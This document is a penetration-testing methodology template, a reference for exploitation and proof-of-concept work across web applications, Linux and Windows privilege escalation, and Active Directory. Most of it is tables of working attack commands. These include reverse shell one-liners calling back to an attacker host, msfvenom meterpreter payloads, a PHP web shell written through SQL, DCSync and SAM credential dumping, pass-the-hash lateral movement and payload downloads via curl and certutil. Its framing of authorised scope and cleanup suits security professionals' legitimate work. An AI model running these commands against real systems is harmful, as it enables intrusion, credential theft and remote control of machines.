

Exploitation & PoC Methodology

Penetration Testing Reference Template

Table of Contents

1. PURPOSE	2
2. POC STANDARDS.....	2
2.1. EXECUTION CYCLE	2
2.2. MINIMUM PROOF BY FINDING TYPE	2
2.3. SOURCING AND INSPECTING PUBLIC EXPLOITS.....	3
3. EXTERNAL EXPLOITATION	3
3.1. WEB APPLICATION PoC.....	3
3.2. CVE-BASED RCE — GitHub PoC WORKFLOW	4
3.3. REVERSE SHELL REFERENCE	4
3.4. SOURCE, UPLOAD, PROXY, AND DATABASE PoC PATTERNS	4
4. INTERNAL EXPLOITATION - LINUX.....	5
4.1. SUDO ABUSE.....	5
4.2. CRON JOB AND WRITABLE PATH ABUSE.....	5
4.3. PYTHON PYCACHE POISONING.....	5
4.4. SUID / CAPABILITY EXPLOITATION	6
5. INTERNAL EXPLOITATION — WINDOWS.....	6
5.1. SERVICE AND BINARY EXPLOITATION.....	6
5.2. KERNEL AND OS EXPLOIT	6
6. INTERNAL EXPLOITATION — ACTIVE DIRECTORY.....	7
6.1. CREDENTIAL CRACKING AND HASH EXPLOITATION	7
6.2. ACL ABUSE	7
6.3. KERBEROS TICKET ATTACKS.....	8
6.4. SMB RELAY AND NTLM COERCION	8
6.5. GMSA AND PRE-WINDOWS 2000 EXPLOITATION	8
6.6. DMSA / BADSUCCESSOR EXPLOITATION	9
6.7. DCSYNC AND CREDENTIAL DUMPING.....	9
6.8. LATERAL MOVEMENT	9
7. TUNNELLING AND INTERNAL SERVICE ACCESS	10
8. TOOL TRANSFER	10
9. EVIDENCE AND CLEANUP	11

1. Purpose

Exploitation and PoC work prove the impact of a validated finding using the smallest controlled action. The objective is to demonstrate the weakness clearly, collect reproducible evidence, and avoid unnecessary data access or system damage.

This phase begins only after vulnerability discovery has confirmed the weakness, characterised the affected condition, and defined the expected impact. It is split into External (pre-foothold: web, services, CVE-based RCE) and Internal (post-foothold: privilege escalation, AD exploitation, lateral movement).

PoC in this context includes tools sourced from GitHub, community projects, and purpose-built scripts — not only default Kali or Impacket tools.

2. PoC Standards

2.1. Execution Cycle

- Define the minimum proof objective before running anything
- Confirm prerequisites: role, credential, network position, version, configuration
- Choose the safest proof route: manual request, reviewed script, framework module, or custom payload
- Review all code, payloads, and callbacks before execution — never run unexplained code
- Run a benign proof first (id, hostname, controlled callback, role comparison)
- Capture evidence before, during, and after
- Stop once impact is demonstrated; avoid scope creep
- Clean up: shells, payloads, listeners, tunnels, tool files, created accounts, changed values

2.2. Minimum Proof by Finding Type

Finding Type	Minimum Proof
Information disclosure	Show exposed file, field, or data class — avoid collecting unnecessary records
Access control bypass	Compare expected denial with actual access using controlled accounts
File upload / LFI	Prove bypass, storage, retrieval, or execution with harmless content first
Command execution / RCE	Run id or hostname before considering interactive shell access
Credential exposure	Validate where the credential works and what role it grants
MSSQL / database issue	Show account context, permission boundary, impersonation, or command exec safely
AD path (ACL, delegation, relay)	Show prerequisite right, affected object, path result, and access level gained
Privilege escalation	Show the misconfiguration and the resulting execution context or permission

2.3. Sourcing and Inspecting Public Exploits

Public exploit code is treated as untrusted. A script may be outdated, noisy, malicious, or written for a different target configuration.

Step	Action
Find references	searchsploit <product> <version>; GitHub search '<product> CVE <year> poc'
Read before running	searchsploit -x <id>; cat exploit.py — understand what it does before copying
Verify conditions	Exact version, required component, authentication state, platform, architecture
Inspect code	Network destinations, encoded strings, file writes, subprocess calls, cleanup behaviour
Modify for safety	Replace default payloads with benign commands; use controlled callbacks
Isolated environment	python3 -m venv env; pip install -r requirements.txt after dependency review

3. External Exploitation

3.1. Web Application PoC

Pattern or Command	PoC Approach / Purpose
Burp Repeater replay	Capture baseline; change one field; compare status code, body, headers, and cookies.
LFI / path traversal	Use <code>php://filter/convert.base64-encode/resource=<file>;</code> test a safe file first.
File upload chain	Prove accepted type, storage path, retrieval, and processing or execution with harmless content first.
Mass assignment	Add one unexpected field such as role or admin flag; verify whether server-side state changes.
IDOR / access control	Use two authorised sessions and capture allowed versus denied responses.
SSRF	Use a controlled callback and document source IP, headers, method, and reachable network.
SQLi (authorised)	Use sqlmap with a saved Burp request and conservative settings after manual evidence exists.
<code>curl -i '<url>'</code>	Capture full HTTP response evidence.
<code>curl 'http://<target>/index.php?file=php://filter/convert.base64-encode/resource=index'</code>	Prove PHP source disclosure through a file/include parameter.
<code>sqlmap -r req.txt --batch</code>	Validate SQL injection where authorised.
<code>nc -nlvp <port></code>	Prepare a listener for a controlled callback or shell proof.
<code>python3 -m http.server <port></code>	Serve payload files from Kali.

3.2. CVE-Based RCE — GitHub PoC Workflow

When a CVE PoC is sourced from GitHub (e.g. for unauthenticated RCE against a web service, CMS, or network tool):

Step	Notes
Clone and read	git clone <repo>; read README and source thoroughly
Identify payload defaults	Look for hardcoded reverse shell payloads, callbacks, or destructive actions
Test with benign command first	Replace default payload with 'id' or 'hostname'; verify execution before escalating
Reverse shell preparation	Prepare payload in advance: <code>bash -i >& /dev/tcp/<kali>/<port> 0>&1</code> ; base64 encode if needed
Listener ready	<code>nc -nlvp <port></code> before launching exploit
Shell stabilisation (Linux)	<code>python3 -c 'import pty;pty.spawn("/bin/bash")'</code> ; then <code>stty raw -echo; fg</code>

3.3. Reverse Shell Reference

Payload Type	Command / Notes
Bash TCP	<code>bash -c 'bash -i >& /dev/tcp/<kali>/<port> 0>&1'</code>
Base64 encoded bash	<code>echo '<b64>' base64 -d bash</code> (to avoid special char issues)
Python	<code>python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('<kali>,<port>'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh'])"</code>
PowerShell (base64)	<code>powershell -e <base64-encoded-ps-payload></code> (generate with msfvenom or manually)
nc with -e	<code>/path/to/nc <kali> <port> -e /bin/bash</code> (or <code>/bin/sh</code>)
busybox nc	<code>busybox nc <kali> <port> -e /bin/sh</code> (common in minimal containers)
msfvenom EXE	<code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<kali> LPORT=<port> -f exe -o shell.exe</code>

3.4. Source, Upload, Proxy, and Database PoC Patterns

When the validated finding comes from source exposure, upload handling, a proxy path, or a database primitive, the PoC should prove the shortest chain first: recover the lead, validate the access path, then run a benign proof before any shell or broader access.

Pattern	PoC Approach
Exposed Git repository	Recover repository, inspect history, identify a concrete secret or route, and validate only the service it applies to.
Upload to execution	Prove accepted file type, stored path, retrieval, and execution with a harmless command before a reverse shell.
WebDAV writable path	Upload harmless content first. If script execution is proven, record web server identity and remove the file.
Proxy-only service	Use curl or browser proxy to show the internal route is reachable, then test the discovered service as a new target surface.
Database files write	Write a minimal benign proof file before any command shell; confirm exact web root and database account context.

Command	Purpose
SELECT '<?php system(\$_GET["cmd"]);?>' INTO OUTFILE '<webroot>/test.php';	Prove database-to-webroot write only where authorised
COPY (SELECT ") TO PROGRAM '<controlled-command>';	Prove PostgreSQL command execution with a controlled command

4. Internal Exploitation - Linux

4.1. Sudo Abuse

Scenario	Exploitation
sudo <binary> (GTFEBins)	Follow GTFEBins path: sudo find / -exec /bin/sh \;, sudo python3 -c 'import os;os.system("/bin/sh")', etc.
sudo <script>	Write to script if writable, or inject via writable import/library path
sudo python3 <script.py>	If script imports from writable path, inject malicious module or pycache .pyc
sudo <tool> with wildcard arg	Pass argument like --exec or use special syntax: a[\$(command)]+1 for bash arithmetic injection

4.2. Cron Job and Writable Path Abuse

Scenario	Exploitation
Cron executes writable script as root	Append reverse shell or chmod +s /bin/bash to script
Cron executes script with relative imports	Place malicious module or .pyc in same directory or PYTHONPATH-precedent location
Wildcard in tar/7za/rsync cron	Create files in target dir named --checkpoint-action=exec=<cmd> or use @<file> syntax (7za)
pspy reveals root process with credential in args	Capture credential from process list; use for su or SSH

4.3. Python pycache Poisoning

Applicable when: sudo runs a Python script, the script imports a module from a writable path, and the Python version is known.

Step	Action
Identify writable import path	Check import statements in the sudo script; find writable locations in sys.path
Create malicious module	Write <module>.py with payload: os.system('chmod +s /bin/bash')
Compile to versioned .pyc	python3 compile_pyc.py using PyInvalidationMode.UNCHECKED_HASH
Place .pyc in __pycache__	cp <module>.cpython-<ver>.pyc /path/to/__pycache__ /
Trigger sudo execution	sudo /path/to/script.py --<any-flag>
Confirm effect	bash -p or check effective UID

4.4. SUID / Capability Exploitation

Finding	Exploitation
SUID interpreter (python3, perl, ruby)	<code>python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'</code>
cap_setuid on python3 or similar	<code>python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'</code>
cap_dac_read_search	Read protected files (shadow, private keys) directly
SUID find	<code>find / -exec /bin/sh -p \; -quit</code>
SUID non-standard binary	Test against GTFOBins; check version for CVE

5. Internal Exploitation — Windows

5.1. Service and Binary Exploitation

Scenario	Tool / Method
Modifiable service binary	<code>Write-ServiceBinary -Name '<svc>' -Path '<path>'</code> (PowerUp); restart service
Unquoted service path	Place binary in unquoted path component; restart service
Writable service binary	Replace binary directly; <code>net stop <svc>; net start <svc></code>
SeImpersonatePrivilege	<code>PrintSpoofer.exe -i -c cmd</code> ; <code>GodPotato -cmd cmd</code> ; <code>JuicyPotatoNG</code>
SeBackupPrivilege	<code>reg save HKLM\SAM sam.hive</code> ; <code>reg save HKLM\SYSTEM system.hive</code> ; <code>secretsdump</code> locally
SeImpersonatePrivilege with SigmaPotato	<code>SigmaPotato.exe "<controlled-command>"</code> after confirming privilege and architecture.
SeManageVolumePrivilege	Use a reviewed SeManageVolume proof only to demonstrate file-system privilege impact.
SeRestorePrivilege	Show controlled file-write impact and avoid replacing critical binaries unless required and reversible.

5.2. Kernel and OS Exploit

After confirming Windows build and patch level, source PoC from GitHub. Standard workflow:

Step	Action
Confirm build	<code>systeminfo findstr 'OS Version'</code>
Source PoC	GitHub: CVE-<id> Windows exploit; verify architecture (x64) and build range
Generate meterpreter payload	<code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<kali> LPORT=<port> -f exe -o shell.exe</code>
Transfer to target	<code>iwr -uri http://<kali>/shell.exe -Outfile shell.exe</code> ; or SMB share
Setup handler	<code>msfconsole</code> : use <code>exploit/multi/handler</code> ; set payload; set LHOST/LPORT; run
Run kernel exploit module	<code>msf</code> : use <code>windows/local/cve_<id></code> ; set session <n>; run

6. Internal Exploitation — Active Directory

6.1. Credential Cracking and Hash Exploitation

Material	Command
Kerberoast TGS (mode 13100)	hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
AS-REP hash (mode 18200)	hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
NTLM hash (mode 1000)	hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
WinRM with hash (PtH)	evil-winrm -i <target> -u <user> -H <ntlm-hash>
Pass-the-hash SMB exec	impacket-psexec -hashes ':<ntlm>' <domain>/<user>@<target>
Pass-the-hash WMI	impacket-wmiexec -hashes ':<ntlm>' <user>@<target>
Hash identification	hashcat --example-hash grep <pattern>
SSH key passphrase	Ssh2john <private_key> > hash.txt; john hash.txt --wordlist=<wordlist>
KeePass database	keepass2john <file> > hash.txt; remove unsupported prefix if the tool requires it.
ZIP archive	zip2john <archive.zip> > hash.txt; john hash.txt --wordlist=<wordlist>

6.2. ACL Abuse

Right	Exploitation Path
ForceChangePassword	bloodyAD --host <dc> -d <domain> -u <src> -p <pass> set password '<target>' '<new-pass>'
GenericAll on user	Set password, add to group, or write SPN for Kerberoasting
GenericAll on group	Add-DomainGroupMember -Identity '<group>' -Members '<user>' (PowerView)
WriteSPN (SPN Jacking)	addspn.py to add SPN to high-value target; getST to impersonate via S4U2proxy
AddKeyCredentialLink (Shadow Creds)	Whisker.exe add /target:<user>; then Rubeus.exe asktgt with generated cert
WriteDACL	Add GenericAll ACE to self; then proceed as GenericAll
WriteOwner	Set-DomainObjectOwner; WriteDACL; GenericAll

6.3. Kerberos Ticket Attacks

Attack	Commands
Request TGT for account	<code>impacket-getTGT '<domain>/<user>:<pass>'; export KRB5CCNAME=<file>.ccache</code>
S4U2Self + S4U2Proxy (constrained delegation)	<code>impacket-getST -spn <SPN> -impersonate Administrator '<domain>/<account>:<pass>' -dc-ip <dc></code>
RBCD — getST after relay	<code>impacket-getST -spn CIFS/<target-host> -impersonate Administrator '<domain>/<computer>\$:<pass>'</code>
Use ticket for exec	<code>KRB5CCNAME=<ticket>.ccache impacket-psexec -k -no-pass Administrator@<host></code>
Convert kirbi to ccache	<code>impacket-ticketConverter ticket.kirbi ticket.ccache</code>
TGT monitoring (coercion capture)	<code>Rubeus.exe monitor /interval:5 /nowrap — on compromised host watching for coerced auth</code>
Convert Kirbi to ccache	<code>impacket-tickerConverter <ticket.kirbi> <ticket.ccache></code>
Use converted ticket	<code>export KRB5CCNAME=<ticket.ccache>; impacket-secretsdump -k -no-pass <domain>/<host></code>
Monitor for tickets	<code>Rubeus.exe monitor /interval:5 /nowrap</code>
Kerberos time alignment	<code>sudo ntpdate <dc-ip> or use faketime before Kerberos tooling.</code>

6.4. SMB Relay and NTLM Coercion

Step	Command / Tool
Identify relay targets (no signing)	<code>nxc smb <subnet>/24 --gen-relay-list relay.txt</code>
Start relay (delegate-access / RBCD)	<code>impacket-ntlmrelayx -t ldaps://<dc> --delegate-access -remove-mic -smb2support</code>
Trigger coercion from target host	<code>proxychains4 python3 Coercer.py coerce -l <kali> -t <target> -d <domain> -u <user> --hashes '<hash>'</code>
Force MSSQL coercion	<code>EXEC xp_dirtree '\\<kali>\x' — from mssqlclient session</code>
Capture with Responder	<code>sudo responder -l tun0 — passive capture when relay is not the goal</code>
Add DNS record to cause coercion	<code>bloodyAD add dnsRecord <hostname> <kali-ip></code>

6.5. gMSA and Pre-Windows 2000 Exploitation

Scenario	Steps
gMSA password read	<code>gMSADumper.py -u <member> -p <pass> -d <domain> → hash; evil-winrm with -H <hash></code>
Pre-Win2000 computer password	<code>nxc smb <dc> -u '<computer>\$' -p '<lowercase-hostname>'; then impacket-changepasswd to set new password; use for gMSA or LDAP reads</code>

6.6. dMSA / BadSuccessor Exploitation

Applicable when: an IT-level group has CreateChild rights on an OU.

Step	Command
Confirm OU CreateChild permission	Get-BadSuccessorOUPermissions.ps1 or Find-InterestingDomainAcl
Create computer account for delegation	New-ADComputer -Name 'evilpc' -Path 'OU=...'
Create dMSA in the OU	New-ADServiceAccount -Name 'pwn_dmsa' -Path 'OU=...' -PrincipalsAllowedToRetrieveManagedPassword 'evilpc\$'
Link dMSA to target	Set msDS-DelegatedMSAState=2; set msDS-ManagedAccountPrecededByLink to target DN
Request TGS as dMSA	Rubeus.exe asktgs /targetuser:pwn_dmsa\$ /service:krbtgt/<domain> /dmsa /opsec /ptt /ticket:<TGT>
Use impersonated session	evil-winrm with resulting ticket or hash

6.7. DCSync and Credential Dumping

Method	Command
DCSync (DS-Replication rights)	impacket-secretsdump -just-dc-user Administrator <domain>/<user>:<pass>@<dc>
Full domain dump	impacket-secretsdump -k -no-pass <domain>/<dc>\$ @<dc-fqdn>
Mimikatz on host	mimikatz.exe 'privilege::debug' 'lsadump::dcsync /user:<domain>\Administrator' 'exit'
Local SAM dump	impacket-secretsdump -sam SAM -system SYSTEM LOCAL
secretsdump via Meterpreter session	use post/windows/gather/credentials/credential_collector
DPAPI credential blob	impacket-dpapi masterkey -file <masterkey> -password <pass> -sid <SID>; then dpapi credential -file <blob> - key <key>

6.8. Lateral Movement

Method	Command
WinRM (interactive)	evil-winrm -i <target> -u <user> -p <pass>
WinRM (hash)	evil-winrm -i <target> -u <user> -H <ntlm-hash>
PSEXEC (SYSTEM shell)	impacket-psexec -hashes ':<hash>' <domain>/<user>@<target>
WMI (admin context)	impacket-wmiexec -hashes ':<hash>' <user>@<target>
DCOM (from PowerShell)	\$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application.1', '<target>')); \$dcom.Document.ActiveView.ExecuteShellCommand('cmd', \$null, '/c <payload>', '7')
RDP	xfreerdp3 /v:<target>:3389 /u:<user> /p:<pass> /dynamic-resolution

7. Tunnelling and Internal Service Access

Scenario	Command
Chisel reverse SOCKS (Kali server)	chisel server --reverse --port <port>
Chisel client (target)	./chisel client <kali>:<port> R:socks
Chisel port forward (single service)	./chisel client <kali>:<port> R:<local-port>:127.0.0.1:<svc-port>
SSH local forward	ssh -L <local-port>:127.0.0.1:<remote-port> <user>@<host>
SSH dynamic SOCKS	ssh -N -D 0.0.0.0:<port> <user>@<host>
Route through Meterpreter	use multi/manage/autoroute; set session <n>; run
Use proxychains	proxychains4 <any-tool> <target>
Ligolo proxy (Kali)	./ligolo-proxy -selfcert -laddr 0.0.0.0:<port>
Ligolo agent (Windows target)	./ligolo-agent.exe -connect <kali-ip>:<port> -ignore-cert
Ligolo route	sudo ip route add <subnet> dev ligolo; start --tun ligolo
Proxychains over tunnel to validate a service with credentials	proxychains4 nxc winrm <internal-host> -u <user> -H <hash>

8. Tool Transfer

Method	Command
HTTP (Linux target)	curl http://<kali>:<port>/<file> -o <file>; wget http://<kali>:<port>/<file>
PowerShell download	iwr -uri http://<kali>/<file> -Outfile <file>
SMB share (Windows)	impacket-smbserver share . -smb2support -username USER -password PASS; net use X: \\<kali>\share /user:USER PASS
certutil (Windows, no PS)	certutil -urlcache -split -f http://<kali>/<file> <file>
evil-winrm upload	upload /local/path /remote/path
Serve files (Kali)	python3 -m http.server <port>

9. Evidence and Cleanup

Stage	Record
Before	Finding reference, objective, prerequisite access, baseline state, expected result
During	Exact commands, timestamps, full output, screenshots, callback logs, errors
After	Actual result, impact demonstrated, limitations, cleanup performed
Cleanup checklist	Uploaded shells/binaries, listeners, tunnels, changed passwords, created accounts, modified ACEs, created objects (computers, dMSAs), copied tools

This phase concludes when: the PoC reliably reproduces the impact within authorised scope, evidence (commands, screenshots, logs, extracted artifacts) is captured and reproducible, further exploitation would not meaningfully increase understanding of business risk, and the finding is documented clearly enough to support remediation.